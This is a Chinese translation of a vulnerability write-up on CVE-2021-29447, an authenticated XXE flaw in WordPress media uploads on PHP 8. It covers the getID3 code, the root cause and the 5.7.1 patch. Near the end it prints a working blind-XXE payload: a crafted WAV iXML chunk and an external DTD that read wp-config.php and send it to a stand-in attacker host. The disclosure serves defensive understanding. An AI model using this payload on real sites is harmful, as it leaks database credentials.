天天看點

WordPress 5.7 XXE Vulnerability---翻譯自seebug影響技術細節更新檔

WordPress 5.7 XXE Vulnerability

  • 影響
  • 技術細節
    • XXE
    • WordPress中的XXE
    • 利用
    • 盲注XXE
  • 更新檔

在SonarSource,我們持續改進我們的代碼分析工具和安全規則。我們最近改善了我們的安全引擎去嗅探更多了OWASP Top 10和CWE Top 25安全問題類型。當我們通過我們的新的分析工具去測試一些最受歡迎的PHP開源項目的時候,我們發現了關于WordPress 平台一些有趣的問題。

WordPress是世界上最受歡迎的内容管理系統,幾乎全世界40%網站都在使用它。廣泛的适用性導緻了它成為了網絡犯罪的頂級目标。它的代碼被安全社群與漏洞賞金獵人反複地審計以獲得關于安全問題報告的高額賞金。關鍵代碼問題很少能逃過他們的眼睛。

在這片部落格中我們讨論我們的分析器關于它新的漏洞報告。我們将探讨該漏洞基于PHP8産生的根本原因,并且展示攻擊者如何利用它來破環wordpress的安裝安全。我們負責任地向wordpress安全團隊披露了這個漏洞,并且他們已經在最新的5.7.1版本中修複了這個問題并且配置設定了編号CVE-2021-29447。

影響

這個漏洞是一個授權的XXE漏洞。它影響wordpress 5.7.1之前的幾乎所有版本,并且攻擊者可以遠端控制它。

  • 任意檔案下載下傳:在這台主機檔案系統上的任意檔案都将可以被檢索到。例如,包含了資料庫認證資訊-的敏感檔案wp.config.php。
  • SSRF:在安裝wordpress的時候可能導緻ssrf。根據環境的不同,它可能導緻嚴重的後果。

這個漏洞隻能在PHP8的環境中被利用。除此之外,需要上傳媒體檔案的權限。在一個标準的wordpress安裝過程中,這個問題隻有軟體的所有者才能使用。但是集合一些其他的漏洞或者有一個插件允許通路或者上傳媒體檔案。他将可以被低權限的使用者利用。

wordpress在4月14日發行了一個security&maintenance update為他們的app打了更新檔來保護他們的使用者。

技術細節

在這個部分我們将近距離探讨這個漏洞的技術細節。首先我們簡要地讨論一下什麼是XXE。接着,我們通過我們分析器的漏洞報告定位到問題代碼行深入地分析該漏洞,并且讨論為什麼這個漏洞在該問題代碼行中已經有防護措施的情況下還會出現在PHP8的環境中。最後我們來展示攻擊者如何利用精心編寫的輸入提取wp-config.php的源碼,以及如何修複這個漏洞。

XXE

XML提供了外部自定義實體通過文檔被複用的可能性。例如,被用于避免重複。下面的代碼定義了一個實體myEntity以供遠端調用。

<!DOCTYPE myDoc [ <!ENTITY myEntity "a long value" > ]>
<myDoc>
    <foo>&myEntity;</foo>
    <bar>&myEntity;</bar>
</myDoc>
           

這個實體定義的值也可以通過urI被從外部調用。這種情況下,我們稱其為外部實體。

<!DOCTYPE myDoc [ <!ENTITY myExternalEntity SYSTEM "http://…..com/value.txt" > ]>
<myDoc>
    <foo>&myExternalEntity;</foo>
<myDoc>
           

XXE攻擊者利用了這個特性。這在一些使用者可以控制輸入内容的松散的XML解析器中是可能的。松散的配置通常意味着,所有的實體的都将在他們的網頁中存在輸出。例如,在上一個例子中,如果使用者輸入file:///var/www/wp-config.php 作為一個URL并且XML解析器能回顯解析的結果,它将成功地洩露敏感資訊。然而XML的解析結果不總是被回顯給使用者,這種情況就是我們在這篇文章中将要描述的漏洞。正如我們待會兒将會看到的,我們仍然有辦法應付這種情況。

這是XXE背後的主要理念和機制。除了敏感檔案洩露之外,XXE也有一些其他的影響。如服務端請求僞造和拒絕服務。

WordPress中的XXE

wordpress有一個媒體庫使得通過身份認證的使用者可以上傳檔案,這些檔案将在文章中的文章中被使用。從這些檔案中提取meta資訊。如:藝術家姓名或者名稱wordpress使用的getID3庫等。一部分中繼資料将通過XML的格式解析。在這裡我們的分析器報告了一個可能的XXE漏洞。

wp-includes/ID3/getid3.lib.php

723    if (PHP_VERSION_ID < 80000) {
724
725        // This function has been deprecated in PHP 8.0 because in libxml 2.9.0, external entity loading is
726        // disabled by default, so this function is no longer needed to protect against XXE attacks.
728       $loader = libxml_disable_entity_loader(true);
729    }
730    $XMLobject = simplexml_load_string($XMLstring, 'SimpleXMLElement', LIBXML_NOENT);
           

simplexml_load_string()函數是一個PHP函數,它通過他的第一個參數進行XML解析。它可以通過傳入的第三個參數配置底層XML解析器。

注釋中的内容非常有意思,因為它表示,通過這個函數,他們對XXE漏洞做了一些防護。審計他們我們發現這一靜态代碼分析器可能導緻一些問題,這是一個錯誤的主動防護。他們真的已經采取了正确的措施來避免漏洞嗎?

為了更好地了解代碼及周圍的注釋,去檢視它的曆史版本是很有必要地。一個XXE漏洞被在wordpress 3.9.2中被披露了出來。這是libxml_disable_entity_loader(true)出現在這兒的主要原因。PHP函數libxml_disable_entity_loader()将XML的解析器配置為禁止外部實體加載。

最近随着PHP8的發行。PHP8對這段代碼的相容性很差,這個函數隻能運作在PHP8以前的版本中。在PHP8中這個函數已經被廢棄了,因為新版本中使用libxml2 v2.9+,在這個版本的xml庫中預設禁用外部實體調用。

現在,我們正在讨論的這段代碼中的微妙之處在于,simplexml_load_string是不會調用預設配置的。即使這個名稱是不被建議使用的,标志位LIBXML_NOENT能置換實體。在這個例子中NOENT意味着在結果中将沒有實體會被丢棄。并且是以外部實體将被調用并被置換。是以,在wordpress 3.9.2中披露的XXE漏洞在又将在PHP8中死灰複燃。

利用

為了描述這個漏洞的利用方式,了解使用者控制的資料是如何抵達XML解析器并作為XML變量的一部分是很有必要的。

wp-includes/ID3/getid3.lib.php

721    public static function XML2array($XMLstring) {
…
730    $XMLobject = simplexml_load_string($XMLstring, 'SimpleXMLElement', LIBXML_NOENT);
           

當媒體檔案被上傳的時候wordpress使用getID3去緩解程式對中繼資料的提取。通過對getID3庫的研究發現,字元串在該點是被作為一個波形檔案的ixml塊的中繼資料進行解釋的。

wp-includes/ID3/module.audio-video.riff.php

426    if (isset($thisfile_riff_WAVE['iXML'][0]['data'])) {
427     // requires functions simplexml_load_string and get_object_vars
428    if ($parsedXML = getid3_lib::XML2array($thisfile_riff_WAVE['iXML'][0]['data'])) {
           

wordpress允許上傳音頻檔案,并且通過wp_read_audio_metadata()函數來提取它的中繼資料。是以,通過上傳一個精心編寫的波形檔案,惡意的xml代碼就會被注入與執行。一個最小的檔案應該包含使其能被作為一個音頻檔案解析的最小結構并且包含在ixml文本塊中包含又一個攻擊payload的檔案可以被建立,需包含以下内容:

RIFFXXXXWAVEBBBBiXML_OUR_PAYLOAD_
           

(BBBB代表XMLpayload按照小端位元組序編碼的長度)

盲注XXE

當一個攻擊者通過上文描述的攻擊政策注入一個payload的時候,解析後的XML結果并不會顯示在使用者界面。是以,為了提取敏感檔案的内容,攻擊者必須依賴于盲注技術。這與之前描述shopware的部落格中的做法是一樣的。基本的思路是這樣的。

  • 首先,建立一個外部實體其值為需要讀取的檔案的内容
  • 其次,建立另一個外部實體,将其urI設定為“http://attacker_domain.com/%data”。注意%data的值将被第一個外部實體的值替換。
  • 當解析第二個外部實體的值的時候,将發起這樣的請求“http://attacker_domain.com/_SUBSTITUTED_data”,我們将在我們的web伺服器中的日志中找打它。

建立第二個外部實體的urI依賴于第一個外部實體的值,這裡我們使用參數實體或者外部DTD。除此之外我們還将使用php://流封裝壓縮編碼檔案内容。做完這些之後,下面的代碼将是我們擷取到wp_config.php中的内容:

payload.wav

RIFFXXXXWAVEBBBBiXML<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://attacker-url.domain/xxe.dtd">
%sp;
%param1;
]>
<r>&exfil;</r>>
           

xxe.dtd

<!ENTITY % data SYSTEM "php://filter/zlib.deflate/convert.base64-encode/resource=../wp-config.php">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://attacker-url.domain/?%data;'>">
           

更新檔

wordpress 5.7.1通過重新調用libxml_disable_entity_loader()函數來修複這個漏洞,這種方法在PHP8中已經過時了。為了避免PHP彈出警告,可以使用錯誤抑制符。

wp-includes/ID3/getid3.lib.php

721    public static function XML2array($XMLstring) {…727      $loader = @libxml_disable_entity_loader(true);728      $XMLobject = simplexml_load_string($XMLstring, 'SimpleXMLElement', LIBXML_NOENT);
           

另外一個調用已啟用函數的方法是使用PHP中的libxml_set_external_entity_loader()函數。這也是PHP官方推薦的方法,它還允許更精準地控制外部實體裝載情況下需要加載特定資源地可能性。當然這僅僅是必須地,如果真的需要在PHP8中使用實體替換的話。

繼續閱讀